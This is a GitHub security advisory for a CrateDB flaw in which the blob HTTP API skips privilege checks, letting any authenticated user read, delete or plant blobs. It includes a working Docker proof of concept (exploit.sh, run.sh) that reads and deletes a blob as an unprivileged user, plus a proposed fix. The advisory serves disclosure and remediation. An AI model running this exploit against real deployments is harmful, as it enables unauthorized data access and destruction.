GHSA-2XV8-GJWH-FV8P
Vulnerability from github – Published: 2026-07-01 19:55 – Updated: 2026-07-01 19:55Component: io.crate.protocols.http.HttpBlobHandler
Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)
Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.
Summary
CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.
The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/<digest>.
Where it lives
server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:
// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
if (possibleRedirect(index, digest)) {
return;
}
if (method.equals(HttpMethod.GET)) {
get(index, digest);
reset();
} else if (method.equals(HttpMethod.HEAD)) {
head(index, digest);
} else if (method.equals(HttpMethod.PUT)) {
put(content, index, digest);
} else if (method.equals(HttpMethod.DELETE)) {
delete(index, digest);
} else {
simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);
}
}
No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:
// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
if (range != null) {
partialContentResponse(index, digest);
} else {
fullContentResponse(index, digest);
}
}
grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.
The APIs that should be called here, used by the SQL path before every statement is dispatched:
server/src/main/java/io/crate/auth/AccessControl.java(interface, declaresensureMayExecute(...)andensureMaySee(...))server/src/main/java/io/crate/auth/AccessControlImpl.java:133(concrete impl)
Threat model
Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.
| Capability | Needs digest? | Impact |
|---|---|---|
| Read or delete a blob | yes | High when digests leak, nil otherwise |
| Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |
Digest secrecy is not a documented security boundary.
Reproduction
End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.
./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:
- Admin uploads a blob via
PUT /_blobs/.... Success (201). - Admin reads via SQL. Success.
- Unprivileged user reads via SQL. Denied (correct, this is what we want).
- Unprivileged user reads via
GET /_blobs/....200 OKplus the blob payload (the bug). - Unprivileged user deletes via
DELETE /_blobs/....204 No Content(the bug, again). - Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.
Sample output from a real run:
=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR: Schema 'blob' unknown ...
=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin
=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS
PoC files
docker-compose.yml
services:
cratedb:
image: crate:6.2.7
ports:
- "4200:4200"
- "5432:5432"
command: >
crate
-Cnetwork.host=0.0.0.0
-Cdiscovery.type=single-node
-Cauth.host_based.enabled=true
-Cauth.host_based.config.0.user=crate
-Cauth.host_based.config.0.method=trust
-Cauth.host_based.config.99.method=password
-Cblobs.path=/data/blobs
environment:
- CRATE_HEAP_SIZE=512m
healthcheck:
test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
interval: 5s
timeout: 5s
retries: 12
HBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address.
setup.sql
-- Create the blob table
CREATE BLOB TABLE secret_blobs;
-- Create admin user with full access
CREATE USER admin WITH (password = 'adminpass');
GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;
-- Create unprivileged user with NO access to the blob table
CREATE USER unprivileged WITH (password = 'unpriv123');
-- Intentionally no GRANT for unprivileged user
exploit.sh
#!/usr/bin/env bash
set -euo pipefail
CRATE_HTTP="http://localhost:4200"
BLOB_TABLE="secret_blobs"
BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; }
pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; }
fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; }
info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }
sql_as() {
local user="$1" pass="$2" query="$3"
PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
}
# ---------------------------------------------------------------------------
header "Step 1: Upload a blob as admin via HTTP"
# ---------------------------------------------------------------------------
DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}')
info "Blob SHA1 digest: $DIGEST"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-u admin:adminpass \
-XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \
-d "$BLOB_CONTENT")
if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then
pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)"
else
fail "Admin blob upload returned HTTP $HTTP_CODE"
exit 1
fi
# ---------------------------------------------------------------------------
header "Step 2: Admin CAN read blob metadata via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1")
if [[ -n "$RESULT" ]]; then
pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT"
else
fail "Admin SQL query returned no results"
fi
# ---------------------------------------------------------------------------
header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true)
if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then
pass "Unprivileged user correctly denied SQL access"
info "Server response: $(echo "$RESULT" | head -1)"
else
fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
fi
# ---------------------------------------------------------------------------
header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \
-u unprivileged:unpriv123 \
"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")
BODY=$(cat /tmp/blob_out)
if [[ "$HTTP_CODE" == "200" ]]; then
fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
info "Retrieved content: ${BODY}"
else
pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-u unprivileged:unpriv123 \
-XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")
if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then
fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
else
pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 6: Confirm blob is gone (admin perspective)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'")
if [[ "$RESULT" == "0" ]]; then
fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
else
info "Blob still exists (count=$RESULT)"
fi
run.sh
#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }
# Pick whichever Compose CLI is available (docker compose v2 vs legacy
# docker-compose binary). Both are common in the wild.
if docker compose version >/dev/null 2>&1; then
DC=(docker compose)
elif command -v docker-compose >/dev/null 2>&1; then
DC=(docker-compose)
else
echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
exit 2
fi
cleanup() {
info "Stopping containers..."
"${DC[@]}" down -v 2>/dev/null || true
}
trap cleanup EXIT
info "Starting CrateDB with authentication enabled..."
"${DC[@]}" up -d
info "Waiting for CrateDB to become healthy..."
for i in $(seq 1 60); do
if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
break
fi
sleep 1
done
# Verify CrateDB is actually ready for SQL connections
for i in $(seq 1 30); do
if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
break
fi
sleep 1
done
info "Running setup SQL as superuser (crate)..."
PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql
# Give CrateDB a moment to propagate user/privilege changes
sleep 2
info "Running exploit..."
echo ""
bash exploit.sh
Fixing
Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.
| HTTP verb | SQL equivalent | Required privilege on blob.<table> |
|---|---|---|
GET / HEAD |
SELECT |
DQL |
PUT |
INSERT / UPDATE |
DML |
DELETE |
DELETE |
DML |
Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).
Notes
Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.crate:crate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.crate:crate"
},
"ranges": [
{
"events": [
{
"introduced": "6.3.0"
},
{
"fixed": "6.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49989"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T19:55:07Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "**Component:** `io.crate.protocols.http.HttpBlobHandler`\n**Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)\n**Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s.\n\n---\n\n## Summary\n\nCrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.\u003ctable\u003e` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that\u0027s why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table.\n\nThe HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/\u003cdigest\u003e`.\n\n## Where it lives\n\n`server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher:\n\n```java\n// HttpBlobHandler.java:176\nprivate void handleBlobRequest(@Nullable HttpContent content) throws IOException {\n if (possibleRedirect(index, digest)) {\n return;\n }\n\n if (method.equals(HttpMethod.GET)) {\n get(index, digest);\n reset();\n } else if (method.equals(HttpMethod.HEAD)) {\n head(index, digest);\n } else if (method.equals(HttpMethod.PUT)) {\n put(content, index, digest);\n } else if (method.equals(HttpMethod.DELETE)) {\n delete(index, digest);\n } else {\n simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);\n }\n}\n```\n\nNo `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example:\n\n```java\n// HttpBlobHandler.java:287\nprivate void get(String index, final String digest) throws IOException {\n if (range != null) {\n partialContentResponse(index, digest);\n } else {\n fullContentResponse(index, digest);\n }\n}\n```\n\n`grep -n \u0027AccessControl\\|ensureMaySee\\|checkPermission\u0027 HttpBlobHandler.java` returns nothing.\n\nThe APIs that should be called here, used by the SQL path before every statement is dispatched:\n\n- `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`)\n- `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl)\n\n## Threat model\n\nUnconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/\u003ctable\u003e/\u003cdigest\u003e` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.\n\n| Capability | Needs digest? | Impact |\n|---|---|---|\n| Read or delete a blob | yes | High when digests leak, nil otherwise |\n| Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim\u0027s digest |\n\nDigest secrecy is not a documented security boundary.\n\n## Reproduction\n\nEnd-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.\n\n`./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps:\n\n1. Admin uploads a blob via `PUT /_blobs/...`. Success (201).\n2. Admin reads via SQL. Success.\n3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want).\n4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug).\n5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again).\n6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.\n\nSample output from a real run:\n\n```\n=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===\n[PASS] Unprivileged user correctly denied SQL access\n[INFO] Server response: ERROR: Schema \u0027blob\u0027 unknown ...\n\n=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===\n[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS\n[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin\n\n=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===\n[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS\n```\n\n### PoC files\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003edocker-compose.yml\u003c/code\u003e\u003c/summary\u003e\n\n```yaml\nservices:\n cratedb:\n image: crate:6.2.7\n ports:\n - \"4200:4200\"\n - \"5432:5432\"\n command: \u003e\n crate\n -Cnetwork.host=0.0.0.0\n -Cdiscovery.type=single-node\n -Cauth.host_based.enabled=true\n -Cauth.host_based.config.0.user=crate\n -Cauth.host_based.config.0.method=trust\n -Cauth.host_based.config.99.method=password\n -Cblobs.path=/data/blobs\n environment:\n - CRATE_HEAP_SIZE=512m\n healthcheck:\n test: [\"CMD-SHELL\", \"curl -sf http://localhost:4200/ || exit 1\"]\n interval: 5s\n timeout: 5s\n retries: 12\n```\n\nHBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker\u0027s interfaces have no site-local address.\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003esetup.sql\u003c/code\u003e\u003c/summary\u003e\n\n```sql\n-- Create the blob table\nCREATE BLOB TABLE secret_blobs;\n\n-- Create admin user with full access\nCREATE USER admin WITH (password = \u0027adminpass\u0027);\nGRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;\n\n-- Create unprivileged user with NO access to the blob table\nCREATE USER unprivileged WITH (password = \u0027unpriv123\u0027);\n-- Intentionally no GRANT for unprivileged user\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003eexploit.sh\u003c/code\u003e\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCRATE_HTTP=\"http://localhost:4200\"\nBLOB_TABLE=\"secret_blobs\"\nBLOB_CONTENT=\"TOP SECRET: this data should only be accessible to admin\"\n\nRED=\u0027\\033[0;31m\u0027\nGREEN=\u0027\\033[0;32m\u0027\nYELLOW=\u0027\\033[1;33m\u0027\nCYAN=\u0027\\033[0;36m\u0027\nNC=\u0027\\033[0m\u0027\n\nheader() { printf \"\\n${CYAN}=== %s ===${NC}\\n\" \"$1\"; }\npass() { printf \"${GREEN}[PASS]${NC} %s\\n\" \"$1\"; }\nfail() { printf \"${RED}[FAIL]${NC} %s\\n\" \"$1\"; }\ninfo() { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\nsql_as() {\n local user=\"$1\" pass=\"$2\" query=\"$3\"\n PGPASSWORD=\"$pass\" psql -h localhost -p 5432 -U \"$user\" -d doc -tAc \"$query\" 2\u003e\u00261\n}\n\n# ---------------------------------------------------------------------------\nheader \"Step 1: Upload a blob as admin via HTTP\"\n# ---------------------------------------------------------------------------\nDIGEST=$(echo -n \"$BLOB_CONTENT\" | sha1sum | awk \u0027{print $1}\u0027)\ninfo \"Blob SHA1 digest: $DIGEST\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -u admin:adminpass \\\n -XPUT \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\" \\\n -d \"$BLOB_CONTENT\")\n\nif [[ \"$HTTP_CODE\" == \"201\" || \"$HTTP_CODE\" == \"409\" ]]; then\n pass \"Admin uploaded blob via HTTP (HTTP $HTTP_CODE)\"\nelse\n fail \"Admin blob upload returned HTTP $HTTP_CODE\"\n exit 1\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 2: Admin CAN read blob metadata via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT digest FROM blob.secret_blobs LIMIT 1\")\nif [[ -n \"$RESULT\" ]]; then\n pass \"Admin can query blob.secret_blobs via SQL: digest=$RESULT\"\nelse\n fail \"Admin SQL query returned no results\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 3: Unprivileged user CANNOT read via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as unprivileged unpriv123 \"SELECT digest FROM blob.secret_blobs LIMIT 1\" || true)\nif echo \"$RESULT\" | grep -qi \"denied\\|permission\\|unauthorized\\|not authorized\"; then\n pass \"Unprivileged user correctly denied SQL access\"\n info \"Server response: $(echo \"$RESULT\" | head -1)\"\nelse\n fail \"Unprivileged user was NOT denied SQL access (unexpected): $RESULT\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 4: BUG -- Unprivileged user CAN read blob via HTTP\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /tmp/blob_out -w \"%{http_code}\" \\\n -u unprivileged:unpriv123 \\\n \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nBODY=$(cat /tmp/blob_out)\n\nif [[ \"$HTTP_CODE\" == \"200\" ]]; then\n fail \"Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\n info \"Retrieved content: ${BODY}\"\nelse\n pass \"Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -u unprivileged:unpriv123 \\\n -XDELETE \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nif [[ \"$HTTP_CODE\" == \"204\" || \"$HTTP_CODE\" == \"200\" ]]; then\n fail \"Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\nelse\n pass \"Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 6: Confirm blob is gone (admin perspective)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT count(*) FROM blob.secret_blobs WHERE digest = \u0027$DIGEST\u0027\")\nif [[ \"$RESULT\" == \"0\" ]]; then\n fail \"Blob confirmed deleted -- unprivileged user destroyed admin\u0027s data\"\nelse\n info \"Blob still exists (count=$RESULT)\"\nfi\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003ccode\u003erun.sh\u003c/code\u003e\u003c/summary\u003e\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\ncd \"$(dirname \"$0\")\"\n\nRED=\u0027\\033[0;31m\u0027\nGREEN=\u0027\\033[0;32m\u0027\nYELLOW=\u0027\\033[1;33m\u0027\nNC=\u0027\\033[0m\u0027\n\ninfo() { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\n# Pick whichever Compose CLI is available (docker compose v2 vs legacy\n# docker-compose binary). Both are common in the wild.\nif docker compose version \u003e/dev/null 2\u003e\u00261; then\n DC=(docker compose)\nelif command -v docker-compose \u003e/dev/null 2\u003e\u00261; then\n DC=(docker-compose)\nelse\n echo \"ERROR: neither \u0027docker compose\u0027 (v2) nor \u0027docker-compose\u0027 (v1) is installed.\" \u003e\u00262\n exit 2\nfi\n\ncleanup() {\n info \"Stopping containers...\"\n \"${DC[@]}\" down -v 2\u003e/dev/null || true\n}\ntrap cleanup EXIT\n\ninfo \"Starting CrateDB with authentication enabled...\"\n\"${DC[@]}\" up -d\n\ninfo \"Waiting for CrateDB to become healthy...\"\nfor i in $(seq 1 60); do\n if curl -sf http://localhost:4200/ \u003e /dev/null 2\u003e\u00261; then\n break\n fi\n sleep 1\ndone\n\n# Verify CrateDB is actually ready for SQL connections\nfor i in $(seq 1 30); do\n if PGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -c \"SELECT 1\" \u003e /dev/null 2\u003e\u00261; then\n break\n fi\n sleep 1\ndone\n\ninfo \"Running setup SQL as superuser (crate)...\"\nPGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -f setup.sql\n\n# Give CrateDB a moment to propagate user/privilege changes\nsleep 2\n\ninfo \"Running exploit...\"\necho \"\"\nbash exploit.sh\n```\n\n\u003c/details\u003e\n\n## Fixing\n\nPlumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision.\n\n| HTTP verb | SQL equivalent | Required privilege on `blob.\u003ctable\u003e` |\n|---|---|---|\n| `GET` / `HEAD` | `SELECT` | `DQL` |\n| `PUT` | `INSERT` / `UPDATE` | `DML` |\n| `DELETE` | `DELETE` | `DML` |\n\nAlternatives I\u0027d avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).\n\n## Notes\n\nDeployments that don\u0027t use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.",
"id": "GHSA-2xv8-gjwh-fv8p",
"modified": "2026-07-01T19:55:07Z",
"published": "2026-07-01T19:55:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/crate/crate/security/advisories/GHSA-2xv8-gjwh-fv8p"
},
{
"type": "PACKAGE",
"url": "https://github.com/crate/crate"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CrateDB\u0027s Blob HTTP handler bypasses authorization"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.